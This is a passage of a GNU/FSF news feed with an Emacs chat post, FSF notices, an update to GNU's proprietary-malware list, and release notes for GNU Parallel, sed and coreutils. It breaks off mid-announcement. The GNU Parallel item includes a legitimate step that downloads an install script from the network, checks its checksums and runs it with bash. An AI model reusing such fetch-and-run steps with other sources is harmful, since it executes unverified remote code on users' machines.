&lt;video controls="" id="org7311bb4" poster="https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605-poster.jpg" preload="metadata" src="https://archive.org/download/ec21-amin-bandali/ec21-amin-bandali.mp4" width="720"&gt;
&lt;source src="https://archive.org/download/ec21-amin-bandali/ec21-amin-bandali.mp4" type="video/mp4" /&gt;

&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href="https://archive.org/download/ec21-amin-bandali/ec21-amin-bandali.mp4"&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
The above video is provided with &lt;a href="https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605-captions.vtt"&gt;closed captions&lt;/a&gt; and the below
transcript courtesy of Sacha with minor fixes and formatting by me.
I've included some of Sacha's screenshots from our chat, you can see
the rest on &lt;a href="https://sachachua.com/blog/2026/05/emacs-chat-with-amin-bandali/"&gt;the episode's page on Sacha's blog&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
A few links from our chat:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;a href="https://kelar.org/~bandali/gnu/emacs/dotemacs.html"&gt;my literate GNU Emacs configuration&lt;/a&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;a href="https://git.kelar.org/~bandali/configs/tree/.emacs.d"&gt;.emacs.d - configs - My configuration for GNU Emacs and other programs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://git.kelar.org/~bandali/qmk_firmware"&gt;personal fork of QMK firmware with my keymaps&lt;/a&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;a href="https://git.kelar.org/~bandali/qmk_firmware/tree/keyboards/zsa/voyager/keymaps/bandali/keymap.c"&gt;my custom keymap for ZSA Voyager split ergonomic keyboard&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://git.kelar.org/~bandali/ffs"&gt;my upcoming &lt;code&gt;ffs&lt;/code&gt; (Form Feed Slides) package for simple presentations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
It was a lot of fun - thanks again for having me, Sacha!
&lt;/p&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt;

&lt;section class="outline-2" id="outline-container-transcript"&gt;
&lt;h2 id="transcript"&gt;Transcript&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-transcript"&gt;
&lt;p&gt;For the full transcript please see:
&lt;a href="https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605.html"&gt;https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/section&gt; </description> 
	<pubDate>Tue, 05 May 2026 23:43:44 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: FSD meeting and weekly recap 2026-05-01</title>
	<guid>http://www.fsf.org/blogs/licensing/fsd-recap-2026-05-01</guid>
	<link>http://www.fsf.org/blogs/licensing/fsd-recap-2026-05-01</link>
     <description>  Check out the important work our volunteers accomplished
this week and at today's Free Software Directory (FSD) IRC meeting. </description> 
	<pubDate>Mon, 04 May 2026 15:15:59 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: April GNU Spotlight with Amin Bandali featuring nineteen new GNU releases: Parallel, Time, and more!</title>
	<guid>http://www.fsf.org/blogs/community/2026-april-gnu-spotlight</guid>
	<link>http://www.fsf.org/blogs/community/2026-april-gnu-spotlight</link>
    
	<pubDate>Mon, 04 May 2026 13:19:31 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: LibEuFin Connector for Dolibarr is out</title>
	<guid>https://taler.net/en/news/2026-05-libeufin.html</guid>
	<link>https://taler.net/en/news/2026-05-libeufin.html</link>
     <description>  &lt;article&gt;
             by Bohdan Potuzhnyi
           &lt;/article&gt; </description> 
	<pubDate>Fri, 01 May 2026 22:00:00 +0000</pubDate>

</item> 
<item>
	<title>www @ Savannah: Malware in Proprietary Software - Latest Additions</title>
	<guid>https://savannah.gnu.org/news/?id=10888</guid>
	<link>https://savannah.gnu.org/news/?id=10888</link>
     <description>  &lt;p&gt;The initial injustice of proprietary software often leads to further injustices: &lt;a href="https://www.gnu.org/proprietary/proprietary.html"&gt;malicious functionalities&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
&lt;br /&gt;

&lt;br /&gt;
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h3&gt;Here are our latest additions&lt;/h3&gt;
&lt;h4&gt;April 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/proprietary-obsolescence.html"&gt;Proprietary Obsolescence&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Amazon is &lt;a href="https://www.theguardian.com/technology/2026/apr/09/amazon-upsets-book-lovers-by-ending-support-for-old-kindles"&gt;disconnecting the early models of the Swindle&lt;/a&gt; from the Amazon DRM-afflicted book store.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-appliances.html"&gt;Malware in Appliances&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some models of Vizio “smart” TVs will &lt;a href="https://arstechnica.com/gadgets/2026/03/newly-purchased-vizio-tvs-now-require-walmart-accounts-to-use-smart-features/"&gt;have some of their functionalities locked&lt;/a&gt; behind a Walmart account login.
&lt;/li&gt;
&lt;/ul&gt; </description> 
	<pubDate>Fri, 01 May 2026 18:08:11 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: It's May, and we've been keeping busy</title>
	<guid>http://www.fsf.org/blogs/community/2026-its-may-and-weve-been-keeping-busy</guid>
	<link>http://www.fsf.org/blogs/community/2026-its-may-and-weve-been-keeping-busy</link>
     <description>  All four teams at the Free Software Foundation (FSF) have been working tirelessly the past four months, and we have a lot to show for it! </description> 
	<pubDate>Fri, 01 May 2026 17:49:38 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health featured at the Cyber|Show UK</title>
	<guid>https://savannah.gnu.org/news/?id=10887</guid>
	<link>https://savannah.gnu.org/news/?id=10887</link>
     <description>  &lt;p&gt;GNU Health at the Cyber|Show! 
&lt;br /&gt;
Grab a coffee and listen to the 40 min. interview Andy Farnell and Helen Plews made to Luis Falcón in their wonderful show. ❤️ 
&lt;br /&gt;

&lt;br /&gt;
They covered key aspects on citizen and patient data privacy, hospital management, federated health networks, genomics and wearables. In the interview they also talked about the risks associated to commercial, closed sourced electronic health records systems and proprietary mobile applications.
&lt;br /&gt;

&lt;br /&gt;
The interview reveals how crucial is Free/Libre software for equity and digital sovereignty in our societies. &#129658; &#127973; &#129516; &#128071;️ 
&lt;br /&gt;
&lt;a href="https://cybershow.uk/episodes.php?id=64"&gt;https://cybershow ... pisodes.php?id=64&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
About Cyber|Show:
&lt;br /&gt;
&lt;a href="https://cybershow.uk/about.php"&gt;https://cybers ... w.uk/about.php&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Get this and latest news about GNU Health from our official Mastodon account:
&lt;br /&gt;
&lt;a href="https://mastodon.social/@gnuhealth"&gt;https://mastodon. ... social/@gnuhealth&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Tags: #GNUHealth #GNU #OpenScience #PublicHealth #Privacy #FreeSoftware #SocialMedicine #CyberShow&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 01 May 2026 09:41:31 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: LibreLocal meetup in London, England, United Kingdom</title>
	<guid>http://www.fsf.org/events/meetup-2026-05-16-london-england-united-kingdom</guid>
	<link>http://www.fsf.org/events/meetup-2026-05-16-london-england-united-kingdom</link>
     <description>  May 16, 2026 at 12:00 BST (11:00 UTC). 
NOTE: New location. </description> 
	<pubDate>Mon, 27 Apr 2026 13:55:00 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: LibreLocal meetup in Neuchâtel, Switzerland</title>
	<guid>http://www.fsf.org/events/meetup-2026-05-21-neuchatel-switzerland</guid>
	<link>http://www.fsf.org/events/meetup-2026-05-21-neuchatel-switzerland</link>
     <description>  May 21, 2026 at 16:00 CEST (14:00 UTC). </description> 
	<pubDate>Mon, 27 Apr 2026 13:42:53 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: LibreLocal meetup in València, Spain</title>
	<guid>http://www.fsf.org/events/meetup-2026-05-16-valencia-spain</guid>
	<link>http://www.fsf.org/events/meetup-2026-05-16-valencia-spain</link>
     <description>  May 16, 2026 at 10:30 CEST (08:30 UTC). </description> 
	<pubDate>Mon, 27 Apr 2026 13:34:05 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260422 ('Artemis II') released</title>
	<guid>https://savannah.gnu.org/news/?id=10886</guid>
	<link>https://savannah.gnu.org/news/?id=10886</link>
     <description>  &lt;p&gt;GNU Parallel 20260422 ('Artemis II') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  It is a fantastic tool for decades!
&lt;br /&gt;
    -- Ops_Mechanic@reddit
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remote jobs are spawned via pipe to perl, so environment can be bigger. This is a major rewrite.
&lt;/li&gt;
&lt;li&gt;--pipe-part -a supports -L/-N if zextract is installed.
&lt;/li&gt;
&lt;li&gt;--pipe-part -a supports .gz, .bz2, .zst-files if zextract is installed.
&lt;/li&gt;
&lt;li&gt;Comments in code is redone.
&lt;/li&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 22 Apr 2026 21:50:23 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: RAIL: Nonfree and unethical</title>
	<guid>http://www.fsf.org/blogs/licensing/rail-are-nonfree-and-unethical</guid>
	<link>http://www.fsf.org/blogs/licensing/rail-are-nonfree-and-unethical</link>
     <description>  Any software license that denies users their freedom is by 
definition nonfree and unethical, and so-called "Responsible AI" 
Licenses (RAIL) are no exception. If we want software to help decrease 
social injustice, we should oppose licenses that restrict how software 
can be used. </description> 
	<pubDate>Wed, 22 Apr 2026 20:40:00 +0000</pubDate>

</item> 
<item>
	<title>sed @ Savannah: sed-4.10 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10885</guid>
	<link>https://savannah.gnu.org/news/?id=10885</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce sed-4.10, a stable release.&lt;br /&gt;
&lt;br /&gt;
It's been more than 3.5 years and quite a few new bug fixes.&lt;br /&gt;
Special thanks to Paul Eggert, Bruno Haible and Collin Funk&lt;br /&gt;
for all their help, and especially to Bruno for all the gnulib&lt;br /&gt;
support and thorough and indefatigable testing and analysis.&lt;br /&gt;
&lt;br /&gt;
There have been 92 commits by 9 people in the 180 weeks since 4.9.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Arkadiusz Drabczyk (2)&lt;br /&gt;
  Ash Roberts (1)&lt;br /&gt;
  Brun Haible (1)&lt;br /&gt;
  Bruno Haible (5)&lt;br /&gt;
  Collin Funk (5)&lt;br /&gt;
  Hans Ginzel (1)&lt;br /&gt;
  Jim Meyering (60)&lt;br /&gt;
  Paul Eggert (16)&lt;br /&gt;
  Weixie Cui (1)&lt;br /&gt;
&lt;br /&gt;
Jim&lt;br /&gt;
 [on behalf of the sed maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU sed home page:&lt;br /&gt;
    https://gnu.org/s/sed/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.gz   (2.7MB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.xz   (1.7MB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (sed-4.10.tar.gz) = TRef+vkuxNzsVB98Ayvhw7mhhW9JcK25WlBSIXAvUnc=&lt;br /&gt;
  SHA3-256 (sed-4.10.tar.gz) = ftB7Hf2uN4RnayBEgasV7KmqZqCxBUj7e+Am6WDaiKk=&lt;br /&gt;
  SHA256 (sed-4.10.tar.xz) = uOchgrLslqNXTimYxHt6qmTMIM4ADY6awxPMB87PKMc=&lt;br /&gt;
  SHA3-256 (sed-4.10.tar.xz) = bVWJvXR28fvhgP1XTpej6t8V+Bh2YI1lL6aGBy1cG5c=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify sed-4.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/0x7FD9FCCB000BEEEE 2010-06-14 [SCEA]&lt;br /&gt;
        Key fingerprint = 155D 3FC5 00C8 3448 6D1E  EA67 7FD9 FCCB 000B EEEE&lt;br /&gt;
  uid                   [ unknown] Jim Meyering &amp;lt;jim@meyering.net&amp;gt;&lt;br /&gt;
  uid                   [ unknown] Jim Meyering &amp;lt;meyering@fb.com&amp;gt;&lt;br /&gt;
  uid                   [ unknown] Jim Meyering &amp;lt;meyering@gnu.org&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key jim@meyering.net&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 7FD9FCCB000BEEEE&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=sed&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify sed-4.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the sed git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/sed.git&lt;br /&gt;
&lt;br /&gt;
with commit 89b7a2224d4faa9d8baf76094b1232ad1477ef3e tagged as v4.10.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=sed.git;a=shortlog;h=v4.10&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned sed directory:&lt;br /&gt;
  git shortlog v4.9..v4.10&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.73.1-b400b&lt;br /&gt;
  Automake 1.18.1.91&lt;br /&gt;
  Gnulib 2026-04-19 15211966deb52d4cae425c655177a815a88d3fc0&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 4.10 (2026-04-21) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  sed 's/a/b/g' (and other global substitutions) now works on input&lt;br /&gt;
  lines longer than 2GB. Previously, matches beyond the 2^31 byte offset&lt;br /&gt;
  would evoke a "panic" (exit 4).&lt;br /&gt;
  [bug present since the beginning]&lt;br /&gt;
&lt;br /&gt;
  'sed --follow-symlinks -i' no longer has a TOCTOU race that could let&lt;br /&gt;
  an attacker swap a symlink between resolution and open, causing sed to&lt;br /&gt;
  read attacker-chosen content and write it to the original target.&lt;br /&gt;
  [bug introduced in sed 4.1e]&lt;br /&gt;
&lt;br /&gt;
  sed no longer falsely matches when back-references are combined with&lt;br /&gt;
  optional groups (.?) and the $ anchor.  For example, this no longer&lt;br /&gt;
  falsely matches the empty string at beginning of line:&lt;br /&gt;
    $ echo ab | sed -E 's/^(.?)(.?).?\2\1$/X/'&lt;br /&gt;
    Xab&lt;br /&gt;
  [bug present since "the beginning"]&lt;br /&gt;
&lt;br /&gt;
  In --posix mode, sed no longer mishandles backslash escapes (\n,&lt;br /&gt;
  \t, \a, etc.) after a named character class like [[:alpha:]].&lt;br /&gt;
  For example, 's/^A\n[[:alpha:]]\n*/XXX/' would fail to match the&lt;br /&gt;
  trailing newline, treating \n as a literal backslash and an 'n'&lt;br /&gt;
  rather than a newline.  This happened when an earlier backslash&lt;br /&gt;
  escape in the same regex had already been converted, shifting the&lt;br /&gt;
  in-place normalization buffer.&lt;br /&gt;
  [bug introduced in sed 4.9]&lt;br /&gt;
&lt;br /&gt;
  sed --debug no longer crashes when a label (":") command is compiled&lt;br /&gt;
  before the --debug option is processed, e.g., sed -f&amp;lt;(...) --debug.&lt;br /&gt;
  [bug introduced in sed 4.7 with --debug]&lt;br /&gt;
&lt;br /&gt;
  sed no longer rejects the documented GNU extension 'a**' (equivalent&lt;br /&gt;
  to 'a*') in Basic Regular Expression (BRE) mode.  Previously, this&lt;br /&gt;
  worked only with -E (ERE mode), even though grep has always accepted&lt;br /&gt;
  it in BRE mode.&lt;br /&gt;
  [bug present since "the beginning"]&lt;br /&gt;
&lt;br /&gt;
  sed no longer rejects "\c[" in regular expressions&lt;br /&gt;
  [bug present since the beginning]&lt;br /&gt;
&lt;br /&gt;
  'sed --follow-symlinks -i' no longer mishandles an operand that is a&lt;br /&gt;
  short symbolic link to a long symbolic link to a file.&lt;br /&gt;
  [bug introduced in sed 4.9]&lt;br /&gt;
&lt;br /&gt;
  Fix some some longstanding but unlikely integer overflows.&lt;br /&gt;
  Internally, 'sed' now more often prefers signed integer arithmetic,&lt;br /&gt;
  which can be checked automatically via 'gcc -fsanitize=undefined'.&lt;br /&gt;
&lt;br /&gt;
** Changes in behavior&lt;br /&gt;
&lt;br /&gt;
  In the default C locale, diagnostics now quote 'like this' (with&lt;br /&gt;
  apostrophes) instead of `like this' (with a grave accent and an&lt;br /&gt;
  apostrophe).  This tracks the GNU coding standards.&lt;br /&gt;
&lt;br /&gt;
  'sed --posix' now warns about uses of backslashes in the 's' command&lt;br /&gt;
  that are handled by GNU sed but are not portable to other&lt;br /&gt;
  implementations.&lt;br /&gt;
&lt;br /&gt;
** Build-related&lt;br /&gt;
&lt;br /&gt;
  builds no longer fail on platforms without the &amp;lt;getopt.h&amp;gt; header or&lt;br /&gt;
  getopt_long function.&lt;br /&gt;
  [bug introduced in sed 4.9]&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 22 Apr 2026 02:00:45 +0000</pubDate>

</item> 
<item>
	<title>coreutils @ Savannah: coreutils-9.11 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10884</guid>
	<link>https://savannah.gnu.org/news/?id=10884</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce coreutils-9.11, a stable release.&lt;br /&gt;
&lt;br /&gt;
Notable changes include:&lt;br /&gt;
 - cut(1), nl(1), and un/expand(1) are multi-byte character aware&lt;br /&gt;
 - cut(1) supports new -w, -F, -O options for better compatibility&lt;br /&gt;
 - cat(1) and yes(1) use zero-copy I/O on Linux (up to 15x faster)&lt;br /&gt;
 - date(1) now parses dot delimited dd.mm.yy format&lt;br /&gt;
 - cksum --check uses more defensive file name quoting&lt;br /&gt;
 - shuf -i operates up to 2x faster by using unlocked stdio&lt;br /&gt;
 - wc -l operates up to 4.5x faster on hosts with neon instructions&lt;br /&gt;
 - wc -m is up to 2.6x faster when processing multi-byte characters&lt;br /&gt;
&lt;br /&gt;
There have also been many bug fixes and other changes&lt;br /&gt;
as summarized in the NEWS below.&lt;br /&gt;
&lt;br /&gt;
There have been 306 commits by 12 people in the 10 weeks since 9.10&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
&lt;br /&gt;
  Bruno Haible (2)                Paul Eggert (15)&lt;br /&gt;
  Chris Down (2)                  Pádraig Brady (156)&lt;br /&gt;
  Collin Funk (91)                Sam James (1)&lt;br /&gt;
  Dr. David Alan Gilbert (1)      Sylvestre Ledru (17)&lt;br /&gt;
  Gabriel (1)                     Weixie Cui (2)&lt;br /&gt;
  Lukáš Zaoral (2)                oech3 (19)&lt;br /&gt;
&lt;br /&gt;
Pádraig [on behalf of the coreutils maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU coreutils home page:&lt;br /&gt;
    https://gnu.org/s/coreutils/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.gz   (16MB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.xz   (6.3MB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (coreutils-9.11.tar.gz) = IDO4owScBr/0mp486nK99Gg7zQy+uXUhHdVtuvi3Nq4=&lt;br /&gt;
  SHA3-256 (coreutils-9.11.tar.gz) = TwFrSgPuppf+jNggT+aXj037UfVVS2BmYBxXiPLYKxs=&lt;br /&gt;
